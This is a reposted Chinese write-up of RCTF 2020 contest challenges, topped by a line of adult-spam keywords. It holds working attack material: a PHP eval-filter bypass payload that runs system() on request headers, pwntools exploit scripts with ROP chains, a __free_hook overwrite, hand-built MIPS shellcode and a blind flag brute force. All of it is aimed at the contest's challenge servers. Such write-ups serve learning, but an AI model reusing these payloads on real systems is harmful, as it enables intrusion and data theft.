日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql %3cforeach_RCTF 2020 Writeup

發(fā)布時間:2024/8/1 数据库 70 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql %3cforeach_RCTF 2020 Writeup 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

來啦!

今天也是活力滿滿的工作日小編

WEB

calc

解題思路

error_reporting ( 0 );

if(!isset( $_GET [ 'num' ])){

show_source ( __FILE__ );

}else{

$str = $_GET [ 'num' ];

$blacklist = [ '[a-z]' , '[\x7f-\xff]' , '\s' , "'" , '"' , '`' , '\[' , '\]' , '\$' , '_' , '\\\\' , '\^' , ',' ];

foreach ( $blacklist as $blackitem ) {

if ( preg_match ( '/' . $blackitem . '/im' , $str )) {

die( "what are you want to do?" );

}

}

@eval( 'echo ' . $str . ';' );

}

?>

fuzz一下沒被ban的字符:

URLENCODE:%251,URLDECODE:%1

URLENCODE:%250,URLDECODE:%0

URLENCODE:%251,URLDECODE:%1

URLENCODE:%252,URLDECODE:%2

URLENCODE:%253,URLDECODE:%3

URLENCODE:%254,URLDECODE:%4

URLENCODE:%255,URLDECODE:%5

URLENCODE:%256,URLDECODE:%6

URLENCODE:%257,URLDECODE:%7

URLENCODE:%258,URLDECODE:%8

URLENCODE:%259,URLDECODE:%9

URLENCODE:%10,URLDECODE:

URLENCODE:%11,URLDECODE:

URLENCODE:%12,URLDECODE:

URLENCODE:%13,URLDECODE:

URLENCODE:%14,URLDECODE:

URLENCODE:%15,URLDECODE:

URLENCODE:%16,URLDECODE:

URLENCODE:%17,URLDECODE:

URLENCODE:%18,URLDECODE:

URLENCODE:%19,URLDECODE:

URLENCODE:%1A,URLDECODE:

URLENCODE:%1B,URLDECODE:

URLENCODE:%1C,URLDECODE:

URLENCODE:%1D,URLDECODE:

URLENCODE:%1E,URLDECODE:

URLENCODE:%1F,URLDECODE:

URLENCODE:%21,URLDECODE:!

URLENCODE:%23,URLDECODE:#

URLENCODE:%25,URLDECODE:%

URLENCODE:%26,URLDECODE:&

URLENCODE:%28,URLDECODE:(

URLENCODE:%29,URLDECODE:)

URLENCODE:%2A,URLDECODE:*

URLENCODE:%2B,URLDECODE:+

URLENCODE:-,URLDECODE:-

URLENCODE:.,URLDECODE:.

URLENCODE:%2F,URLDECODE:/

URLENCODE:0,URLDECODE:0

URLENCODE:1,URLDECODE:1

URLENCODE:2,URLDECODE:2

URLENCODE:3,URLDECODE:3

URLENCODE:4,URLDECODE:4

URLENCODE:5,URLDECODE:5

URLENCODE:6,URLDECODE:6

URLENCODE:7,URLDECODE:7

URLENCODE:8,URLDECODE:8

URLENCODE:9,URLDECODE:9

URLENCODE:%3A,URLDECODE::

URLENCODE:%3B,URLDECODE:;

URLENCODE:%3C,URLDECODE:<

URLENCODE:%3D,URLDECODE:=

URLENCODE:%3E,URLDECODE:>

URLENCODE:%3F,URLDECODE:?

URLENCODE:%40,URLDECODE:@

URLENCODE:%7B,URLDECODE:{

URLENCODE:%7C,URLDECODE:|

URLENCODE:%7D,URLDECODE:}

URLENCODE:%7E,URLDECODE:~

我們可以使用的有數(shù)字、特殊符號以及一些運算符,運算符有這些:

< 、=、>、+、*、!、&、|、~、%

我們可以通過科學(xué)運算法的方式拿到字符串0-9、E、+、.:

?num=(1000000000000000000000).(2)

返回:1.0E+212

最后一個字符是我們可控的,可以令其為0-9任意一個數(shù)字,這樣拼接起來后返回的就是一個字符串,并且我們還可以控制最后一位。

?num=((1000000000000000000000).(2)){1}

如上可以獲得.這個符號,經(jīng)過測試,數(shù)字與任意字符串進行除法運算,可以獲得三個字母I、N、F。

因為題目中不允許使用引號,所以這里的字符串可以用第一步獲取到的E、.、0-9來替換。

通過"1"|"E","3"|"E"的方式,可以獲取到u和w兩個字母。

現(xiàn)在我們擁有了這些可以使用的東西:

0-9、.、+、I、N、F、u、w、}

將他們組合起來,相互進行或、和、取反運算,并取上一次的運算結(jié)果作為下一次運算的參數(shù)。

代碼:

strings = ['0','1','2','3','4','5','6','7','8','9','E','u','w','}','+','.','I','N','F']

input_value = 'n'

for s in strings:

for s1 in strings:

data = (chr(ord(s)|ord(s1))).strip()

if data not in strings:

strings.append(data)

if data == input_value:

# print(data)

print('success',s,'|',s1)

print(len(strings))

for s in strings:

for s1 in strings:

data = (chr(ord(s)&ord(s1)))

data = data.strip()

if data == input_value:

# print(data)

print(1)

print('success',s,'&',s1)

print(len(strings))

for s in strings:

for s1 in strings:

data = (chr(ord(s)|ord(s1))).strip()

if data not in strings:

strings.append(data)

if data == input_value:

# print(data)

print('success',s,'|',s1)

print(len(strings))

for s in strings:

for s1 in strings:

try:

data = (chr(ord(s)&ord(s1))).strip()

except:

continue

if data not in strings:

strings.append(data)

if data == input_value:

print(data)

# print(data)

print('success',s,'|',s1)

for s in strings:

try:

data = chr(~ord(s))

except:

continue

data = data.strip()

if data not in strings:

strings.append(data)

print(data)

if data == input_value:

# print(data)

print('success',s,'|')

input_value = 's'

print(strings)

此時我們以及可以獲得到這些字符串了:

接著就是一個一個拼的過程了,最終采用system(getallheaders{1})的方式進行rce:

調(diào)用readflag的腳本:

((((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).((((999**999).(1)){0})&(((999**999).(1)){1})).(((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).(((999**999).(1)){0}).(((999**999).(1)){1}).(((999**999).(1)){2}).((((999**999).(1)){0})|(((999**999).(1)){1})))()

第一遍構(gòu)造的是system(/readflag) 發(fā)現(xiàn)要算數(shù)

接著構(gòu)造 system(next(getallheaders()))

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((1).(0)){0}|((1/0).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})).((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))))((((0/0).(0)){0}.(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((1/0).(0)){0}&((1/0).(0)){1})|(((8).(0)){0})).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).(((1/0).(0)){0}&((1/0).(0)){1}).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((0/0).(0)){0}&(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((2).(0)){0}))).(((((2).(0)){0}){0})|(((0/0).(0)){1})))()));

打過去的時候都需要進行url編碼一下

最終結(jié)果:

Misc

mysql_interface

解題思路

考察tidb的parse

利用已有代碼重現(xiàn)parse過程,注意安裝的時候安裝對應(yīng)的版本的包

go mod init test

go get "github.com/pingcap/parser@v3.1.2-0.20200507065358-a5eade012146+incompatible"

go get "github.com/pingcap/tidb/types/parser_driver@v1.1.0-beta.0.20200520024639-0414aa53c912"

package main

import (

"fmt"

"github.com/pingcap/parser" // v3.1.2-0.20200507065358-a5eade012146+incompatible

_ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912

)

var isForbidden = [256]bool{}

const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"

func init() {

for i := 0; i < len(forbidden); i++ {

isForbidden[forbidden[i]] = true

}

}

func allow(payload string) bool {

if len(payload) < 3 || len(payload) > 128 {

fmt.Println("length")

return false

}

for i := 0; i < len(payload); i++ {

// fmt.Println(payload[i])

if isForbidden[payload[i]] {

fmt.Println("isForbidden")

return false

}

}

if _, _, err := parser.New().Parse(payload, "", ""); err != nil {

fmt.Println("[*] parser success")

return true

}

fmt.Println("parser error")

return false

}

func main() {

payload := "select+flag from .flag"

result := allow(payload)

fmt.Println(result)

}

經(jīng)過不斷瞎雞兒fuzz。最終發(fā)現(xiàn)在table_name這里帶.可以過去

Cryto

easy_f(x)

解題思路

簡單解方程,513元,模下線性方程,用sage解個矩陣就好

這里是是python結(jié)合sage的腳本,可能要稍微改改才能跑,還在改23333

import string

from Crypto.Util.number import getPrime as getprime ,long_to_bytes,bytes_to_long,inverse

from pwn import *

from pwnlib.util.iters import mbruteforce

from hashlib import sha256

#context.log_level = "debug"

#table='zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP'

sh=remote("124.156.140.90","2333")

sh.recvuntil("sha256(XXXX+")

suffix=sh.recv(len('SLhlaef5L6nM6pYx')).decode('utf-8')

sh.recvuntil("== ")

cipher=sh.recv(len('3ade7863765f07a3fbb9d853a00ffbe0485c30eb607105196b0d1854718a7b6c')).decode('utf-8')

sh.recvuntil("Give me XXXX:")

proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')

sh.sendline(proof)

sh.recvuntil("M=")

m = int(sh.recvuntil("\n")[:-1])

sh.recvuntil("want?\n")

sh.sendline("513")

x=[]

r=[]

for _ in range(513):

sh.recvuntil("f(")

x.append(int(sh.recvuntil(")")[:-1]))

sh.recvuntil("=")

r.append(int(sh.recvuntil("\n")[:-1]))

#sage:

a=[]

for i in x:

b=[]

for j in range(513):

b.append(pow (i, j, m))

a.append(b)

y=[]

for i in r:

y.append(i)

A=Matrix(Zmod(m),a)

Y=vector(y)

X = A.solve_right(Y)

sh.sendline(str(X[0]))

sh.interactive()

Pwn

bf

解題思路

漏洞在-[]可以循環(huán)執(zhí)行[]括號里面的命令,這里會造成一個單字節(jié)溢出,溢出剛好可以修改code的指針值。然后后面就是單字節(jié)溢出在棧上的利用了。不過有一點需要注意,在函數(shù)退出,進行利用鏈之前,要將code指針還原,有個函數(shù)應(yīng)該是對code指針進行析構(gòu)了,不還原程序會crash.

from PwnContext import *

from pwn import *

#context.terminal = ['tmux', 'splitw', '-h']

context.log_level = 'debug'

s = lambda data :ctx.send(str(data)) #in case that data is an int

sa = lambda delim,data :ctx.sendafter(str(delim), str(data))

sl = lambda data :ctx.sendline(str(data))

sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))

r = lambda numb=4096 :ctx.recv(numb)

ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)

irt = lambda :ctx.interactive()

rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)

dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)

# misc functions

uu32 = lambda data :u32(data.ljust(4, '\x00'))

uu64 = lambda data :u64(data.ljust(8, '\x00'))

leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = 'bf'

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

ctx.debug_remote_libc = False

local=0

def choice():

if(local):

p=rs()

else:

ctx.remote = ('124.156.135.103',6002)

p=rs('remote')

return p

def debug():

if(local==1):

libc_base = ctx.bases.libc

print hex(libc_base)

ctx.symbols = {'sym1':0x1B1A,'sym2':0x16D8,'sym3':0x1BCB,'sym4':0x1BFE}

ctx.breakpoints = [0x1B1A,0x16D8,0x1BCB,0x1BFE]

ctx.debug()

#

def exp():

payload="-[>+],"

sla("enter your code:\n",payload)

ru("ing...")

s(p8(0x78))

ru("\x3a\x20")

libc_base=uu64(r(6))-(0x7ffff740db97-0x00007ffff73ec000)

leak("libc_base",libc_base)

if libc_base&0xff !=0:

raise Exception("no libc_base")

sa("continue",'y')

#pause()

#debug()

#pause()

payload="-[>+],"

sla("enter your code:\n",payload)

ru("ing...")

s(p8(0x88))

ru("\x3a\x20")

stack=uu64(r(6))

leak("stack_addr",stack)

#pause()

if libc_base>>40 !=0x7f:

raise Exception("no stack")

leak("stack",stack)

#pause()

sa("continue",'y')

payload="-[>,]"

sla("enter your code:\n",payload)

ru("ing...")

for i in range(0x400):

s(p8(0x70))

sa("continue",'y')

rop_addr=stack-0x528

pop_rsp=0x0000000000003960+libc_base

payload="[......]"+p64(pop_rsp)+p64(rop_addr)

sla("enter your code:\n",payload)

sa("continue",'y')

pop_rdi_ret=0x000000000002155f+libc_base

pop_rsi_ret=0x0000000000023e6a+libc_base

pop_rdx_ret=0x0000000000001b96+libc_base

open_addr=libc_base+libc.symbols["open"]

read_addr=libc_base+libc.symbols["read"]

puts_addr=libc_base+libc.symbols["write"]

orw=p64(pop_rdi_ret)+p64(rop_addr+19*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)

orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)

orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)+'./flag\x00'

payload="-[,>+],"

sla("enter your code:\n",payload)

for i in range(len(orw)):

s(orw[i])

for i in range(0x400-len(orw)+1):

s('\x40')

#debug()

sa("continue",'n')

while(1):

try:

p=choice()

exp()

break

except Exception:

p.close()

irt()

note

解題思路

題目在檢查數(shù)組邊界時只檢查了最大值且使用了有符號數(shù),導(dǎo)致數(shù)組下溢

from pwn import *

prog = './note'

p = process(prog)

libc = ELF("./libc.so.6")

p = remote("124.156.135.103", 6004)

def add(idx, size):

p.sendlineafter("Choice: ", '1')

p.sendlineafter("Index: ", str(idx))

p.sendlineafter("Size: ", str(size))

def show(idx):

p.sendlineafter("Choice: ", '3')

p.sendlineafter("Index: ", str(idx))

def edit(idx, content):

p.sendlineafter("Choice: ", '4')

p.sendlineafter("Index: ", str(idx))

p.sendlineafter("Message: \n", content)

def free(idx):

p.sendlineafter("Choice: ", '2')

p.sendlineafter("Index: ", str(idx))

def exp():

add(0, 1)

show(-5)

p.recv(0x18)

libc.address = u64(p.recv(6)+'\x00'*2)-0x00007fe3dafa1760+0x7fe3dadbc000

log.info("libc.address ==> " + hex(libc.address))

edit(-5, p64(libc.sym['__free_hook'])+p64(8))

edit(-5, p64(libc.address+0x106ef8))

free(0)

p.interactive()

if __name__ == '__main__':

exp()

mginx

解題思路

題目在檢查數(shù)組邊界時只檢查了最大值且使用了有符號數(shù),導(dǎo)致數(shù)組下溢

$ checksec ./mginx

[!] Did not find any GOT entries

[*] '/home/kirin/xctf/mnigx/mginx'

Arch: mips64-64-big

RELRO: No RELRO

Stack: No canary found

NX: NX disabled

PIE: No PIE (0x120000000)

RWX: Has RWX segments

這里是實現(xiàn)的一個簡單的HTTP解析程序

程序在根據(jù)Content-Length計算第二次需要read的數(shù)據(jù)長度時存在邏輯問題,并且直接從第一次read的HTTP頭結(jié)尾開始read,可以造成棧溢出:

.text:0000000120001B00 dli $v0, 0x120000000 # Doubleword Load Immediate

.text:0000000120001B04 daddiu $a1, $v0, (asc_1200021E0 - 0x120000000) # "\r\n\r\n"

.text:0000000120001B08 ld $a0, 0x10C0+haystack($fp) # haystack

.text:0000000120001B0C dla $v0, strstr # Load 64-bit address

.text:0000000120001B10 move $t9, $v0

.text:0000000120001B14 jalr $t9 ; strstr # Jump And Link Register

.text:0000000120001B18 nop

.text:0000000120001B1C sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword

.text:0000000120001B20 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword

.text:0000000120001B24 beqz $v0, loc_120001C70 # Branch on Zero

.text:0000000120001B28 nop

.text:0000000120001B2C ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword

.text:0000000120001B30 daddiu $v0, 4 # Doubleword Add Immediate Unsigned

.text:0000000120001B34 sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword

.text:0000000120001B38 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword

.text:0000000120001B3C sd $v0, 0x10C0+var_1070($fp) # Store Doubleword

.text:0000000120001B40 lw $v1, 0x10C0+var_10A8($fp) # Load Word

.text:0000000120001B44 daddiu $a0, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned

.text:0000000120001B48 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword

.text:0000000120001B4C dsubu $v0, $a0 # Doubleword Subtract Unsigned

.text:0000000120001B50 sll $v0, 0 # Shift Left Logical

.text:0000000120001B54 subu $v0, $v1, $v0 # Subtract Unsigned

.text:0000000120001B58 move $v1, $v0

.text:0000000120001B5C lw $v0, 0x10C0+var_1068($fp) # Load Word

.text:0000000120001B60 addu $v0, $v1, $v0 # Add Unsigned

.text:0000000120001B64 sw $v0, 0x10C0+var_10B8($fp) # Store Word

.text:0000000120001B68 daddiu $v1, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned

.text:0000000120001B6C lw $v0, 0x10C0+var_10A8($fp) # Load Word

.text:0000000120001B70 daddu $v0, $v1, $v0 # Doubleword Add Unsigned

.text:0000000120001B74 sd $v0, 0x10C0+buf($fp) # Store Doubleword

.text:0000000120001B78 b loc_120001BD0 # Branch Always

.text:0000000120001B7C nop

.text:0000000120001B80 # ---------------------------------------------------------------------------

.text:0000000120001B80

.text:0000000120001B80 loc_120001B80: # CODE XREF: main+4A0↓j

.text:0000000120001B80 lw $v0, 0x10C0+var_10B8($fp) # Load Word

.text:0000000120001B84 move $a2, $v0 # nbytes

.text:0000000120001B88 ld $a1, 0x10C0+buf($fp) # buf

.text:0000000120001B8C move $a0, $zero # fd

.text:0000000120001B90 dla $v0, read # Load 64-bit address

.text:0000000120001B94 move $t9, $v0

.text:0000000120001B98 jalr $t9 ; read # Jump And Link Register

.text:0000000120001B9C nop

.text:0000000120001BA0 sw $v0, 0x10C0+var_1094($fp) # Store Word

.text:0000000120001BA4 lw $v0, 0x10C0+var_1094($fp) # Load Word

.text:0000000120001BA8 blez $v0, loc_120001BE4 # Branch on Less Than or Equal to Zero

.text:0000000120001BAC nop

.text:0000000120001BB0 lw $v0, 0x10C0+var_10B8($fp) # Load Word

.text:0000000120001BB4 ld $v1, 0x10C0+buf($fp) # Load Doubleword

.text:0000000120001BB8 daddu $v0, $v1, $v0 # Doubleword Add Unsigned

.text:0000000120001BBC sd $v0, 0x10C0+buf($fp) # Store Doubleword

.text:0000000120001BC0 lw $v1, 0x10C0+var_10B8($fp) # Load Word

.text:0000000120001BC4 lw $v0, 0x10C0+var_1094($fp) # Load Word

.text:0000000120001BC8 subu $v0, $v1, $v0 # Subtract Unsigned

.text:0000000120001BCC sw $v0, 0x10C0+var_10B8($fp) # Store Word

.text:0000000120001BD0

.text:0000000120001BD0 loc_120001BD0: # CODE XREF: main+444↑j

.text:0000000120001BD0 lw $v0, 0x10C0+var_10B8($fp) # Load Word

.text:0000000120001BD4 bnez $v0, loc_120001B80 # Branch on Not Zero

.text:0000000120001BD8 nop

.text:0000000120001BDC b loc_120001BE8 # Branch Always

.text:0000000120001BE0 nop

類似payload:"GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b0

程序沒有開啟NX保護,但是mips沒有類似jmp rsp的操作

考慮先遷移棧到data段,而后再次棧溢出即可

(這里orw的shellcode,賽時沒找到合適的as,為了趕時間,直接對照題目的elf文件中匯編到機器碼的規(guī)則,以及題目uclibc中特定函數(shù)的syscall參數(shù),人工翻譯出來的orz)

from pwn import *

import sys

context.log_level="debug"

context.endian="big"

if len(sys.argv)==1:

p=process(["qemu-mips64","-g","1234","-L","./","./mginx"])

time.sleep(3)

elif len(sys.argv)==2:

p=process(["qemu-mips64","-L","./","./mginx"])

else:

p=remote("124.156.129.96",8888)

payload1="GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b1

#payload1=payload1.ljust(0x1000,"a")

p.send(payload1)

ra=0x1200018C4

fp=0x120012540

gp=0x12001a250

payload="b"*(0x654-0x20)+p64(gp)+p64(fp)+p64(ra)+"d"*8

payload=payload.ljust(0xd98,"b")

p.sendline(payload)

#p.interactive()

p.recvuntil("404 Not Found :(")

#time.sleep(2)

p.sendline(payload1)

ra=0x120013608

#open

shellcode="\xc8\xff\xa4\x67"[::-1]

shellcode+="\xff\xff\x05\x28"[::-1]

shellcode+="\xff\xff\x06\x28"[::-1]

shellcode+="\x8a\x13\x02\x24"[::-1]

shellcode+="\x0c\x00\x00\x00"[::-1]

#read

shellcode+="\x00\x40\x20\x25"#a0

shellcode+="\xc0\xff\xa5\x67"[::-1]#buf

shellcode+="\x24\x06\x00\x28"#size

shellcode+="\x88\x13\x02\x24"[::-1]

shellcode+="\x0c\x00\x00\x00"[::-1]

#write

shellcode+="\x24\x04\x00\x01"#a0

shellcode+="\xc0\xff\xa5\x67"[::-1]#buf

shellcode+="\x24\x06\x00\x28"#size

shellcode+="\x89\x13\x02\x24"[::-1]

shellcode+="\x0c\x00\x00\x00"[::-1]

f="/flag"

payload="b"*(0x653-0x40)+f+"\x00"*(0x28-len(f))+p64(fp)+p64(ra)+"d"*8+shellcode+"a"*(0xd99-0x654-len(shellcode))

p.sendline(payload)

p.sendline()

p.interactive()

no write

解題思路

$ checksec ./no_write

[*] '/home/kirin/xctf/no_write/no_write'

Arch: amd64-64-little

RELRO: Full RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)

程序用prctl開啟了沙箱,沙箱規(guī)則:

$ seccomp-tools dump ./no_write line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010 0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009 0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL

只能進行open read 和exit

因為沒有l(wèi)eak,所以首先要做的就是棧遷移,直接通過連續(xù)復(fù)用leave ret語句即可

因為這里沒有syscall,所以想辦法在棧中留下一個syscall

觀察發(fā)現(xiàn)遷移棧后rcx=libc中read地址附近一個地址:

.text:000000000011007F syscall ; LINUX - sys_read.text:0000000000110081 cmp rax, 0FFFFFFFFFFFFF000h.text:0000000000110087 ja short loc_1100E0.text:0000000000110089 rep retn.text:0000000000110090 loc_110090: ; CODE XREF: read+B↑j.text:0000000000110090 push r12.text:0000000000110092 push rbp.text:0000000000110093 mov r12, rdx.text:0000000000110096 push rbx.text:0000000000110097 mov rbp, rsi.text:000000000011009A mov ebx, edi.text:000000000011009C sub rsp, 10h.text:00000000001100A0 call sub_1306E0.text:00000000001100A5 mov rdx, r12 ; count.text:00000000001100A8 mov r8d, eax.text:00000000001100AB mov rsi, rbp ; buf.text:00000000001100AE mov edi, ebx ; fd.text:00000000001100B0 xor eax, eax.text:00000000001100B2 syscall

偏移:0x110081位置

附近恰好有syscall地址,所以想到直接利用調(diào)用start中的libc_start_main來在棧中構(gòu)造syscall地址

簡單說明一下:libc_start_main邏輯:在重新執(zhí)行0x110081位置后,會直接ret入libc_start_main指定的"main函數(shù)"地址,這時候rbp=rcx,push入棧

在棧中留下一個syscall附近地址后(read附近的syscall可以順利ret,沒有crash),只需要多次寫,構(gòu)造一條rop鏈,并修改地址低字節(jié),就可以實現(xiàn)open("./flag");read(fd,flag_addr,len);

flag讀入data段后,因為沒有輸出,所以要選擇一條已知地址的cmp語句來實現(xiàn)判斷,一一看過之后最后選擇:

.text:0000000000400750 loc_400750: ; CODE XREF: __libc_csu_init+54↓j

.text:0000000000400750 mov rdx, r15

.text:0000000000400753 mov rsi, r14

.text:0000000000400756 mov edi, r13d

.text:0000000000400759 call qword ptr [r12+rbx*8]

.text:000000000040075D add rbx, 1

.text:0000000000400761 cmp rbp, rbx

.text:0000000000400764 jnz short loc_400750

.text:0000000000400766

.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j

.text:0000000000400766 add rsp, 8

.text:000000000040076A pop rbx

.text:000000000040076B pop rbp

.text:000000000040076C pop r12

.text:000000000040076E pop r13

.text:0000000000400770 pop r14

.text:0000000000400772 pop r15

.text:0000000000400774 retn

只需讓flag放在合適位置,在調(diào)用.text:0000000000400766時候就可以讓flag其中一位pop入寄存器,而后再ret入0x400761這個位置,兩個思路:

直接通過比較rbp和rbx的值判斷flag:rbx是flag其中一位(其他位覆蓋為00字節(jié)就可以實現(xiàn)一位一位pop),而后設(shè)置rbp為猜測值,這樣只有相等時,才會繼續(xù)走下面的ret,在ret位置放置read,就可以通過判斷是否阻塞來爆破每一位

第二種類似:控制r12,rbp=0,這樣總會走jnz程序流,這時候rbx為特定值,通過不斷修改r12,當r12+rbx*8位置處為read時發(fā)生阻塞,只需要在特定位置放置一個可以read的地址,r12從大到小,當?shù)谝淮伟l(fā)生read阻塞時,r12+rbx*8就是已知的一個地址,r12已知,直接可以計算出rbx

賽時趕時間沒寫好完全的多線程腳本,通過修改current值(flag字符的index),一位一位爆破即可:

from pwn import *

import time

context.log_level="debug"

#p=process("./no_write")

current=4

for i in range(32,127):

print i

try:

p=remote("129.211.134.166",6000)

payload1="a"*0x10+p64(0x601f00)+p64(0x04006F5)

time.sleep(0.5)

p.send(payload1)

payload2="a"*0x10+p64(0x601f00)+p64(0x0400773)+p64(0x4006bf)+p64(0x400771)+p64(0x601e70)+p64(0)+p64(0x400544)

time.sleep(0.5)

p.send(payload2)

payload3=(p64(0x400772)+p64(0))*6+p64(0x04004f0)

time.sleep(0.5)

p.send(payload3)

payload4=p64(0)*5+p64(0x400773)+p64(3)+p64(0x400771)+p64(0x601d00-current)+p64(0)

payload4+=p64(0x4004f0)+p64(0x400773)+p64(0)

payload4+=p64(0x400771)+p64(0x601e40)+p64(0)+p64(0x4004f0)

payload4+=p64(0x400771)+p64(0x601e00)+p64(0)+p64(0x4004f0)

payload4+=p64(0x40076d)+p64(0x601e28)+"./flag"

f_addr=0x601f28

rop=p64(0x0400773)+p64(f_addr)+p64(0x400771)+p64(0)+p64(0)+"\xb2"

time.sleep(0.5)

p.send(payload4)

time.sleep(0.5)

p.send(rop)

time.sleep(0.5)

p.send("aa")

payload5=p64(0x400771)+p64(0x601d01)+p64(0)+p64(0x4004f0)

payload5+=p64(0x400771)+p64(0x601cf8)+p64(0)+p64(0x4004f0)

payload5+=p64(0x40076d)+p64(0x601ce0)+p64(0)*13

payload5+=p64(0x40076d)+p64(0x601e28)

time.sleep(0.5)

p.send(payload5)

r12=0

bp=i

payload6="\x00"*7+p64(bp)+p64(r12)+p64(0)+p64(0x601f00)+p64(0x100)+p64(0x400761)

payload6+=p64(0)*7+p64(0x4004f0)+p64(0x4004f0)

time.sleep(0.5)

p.send(payload6)

#gdb.attach(p)

time.sleep(0.5)

p.send(p64(0x40076A))

print "current",chr(i)

p.recvall()

break

except:

print "fail"

Reverse

go-flag

解題思路

go 多線程

長度F6的都是寫,fun1是讀,但是不知道什么時候讀的

這些協(xié)程的運行于brainfuck的執(zhí)行過程相似。

main_main_fun1作用比較明顯,就是接受輸入,并調(diào)用了runtime_chansend,那讀取數(shù)數(shù)據(jù)必然就要使用runtime_chanrecv,其交叉引用共了24個函數(shù)(用戶自寫函數(shù)),那么要校驗輸入肯定要用自減,自減的循環(huán)數(shù)即是對應(yīng)的正確字符。注意到如下賦值語句:

4BB29D 88 14 0E mov [rsi+rcx], dl

以此字節(jié)碼搜索正好搜索到24處,dl即為輸入字符,[rsi+rcx-1]就是循環(huán)數(shù)。

.text:00000000004BB29D main_main_func446 mov [rsi+rcx], dl

.text:00000000004C02BD main_main_func542 mov [rsi+rcx], dl

.text:00000000004C53BD main_main_func639 mov [rsi+rcx], dl

.text:00000000004CA2FD main_main_func734 mov [rsi+rcx], dl

.text:00000000004CF85D main_main_func836 mov [rsi+rcx], dl

.text:00000000004D4BFD main_main_func936 mov [rsi+rcx], dl

.text:00000000004D9F9D main_main_func1036 mov [rsi+rcx], dl

.text:00000000004DF4FD main_main_func1138 mov [rsi+rcx], dl

.text:00000000004E47BD main_main_func1237 mov [rsi+rcx], dl

.text:00000000004E9D1D main_main_func1339 mov [rsi+rcx], dl

.text:00000000004EEC5D main_main_func1434 mov [rsi+rcx], dl

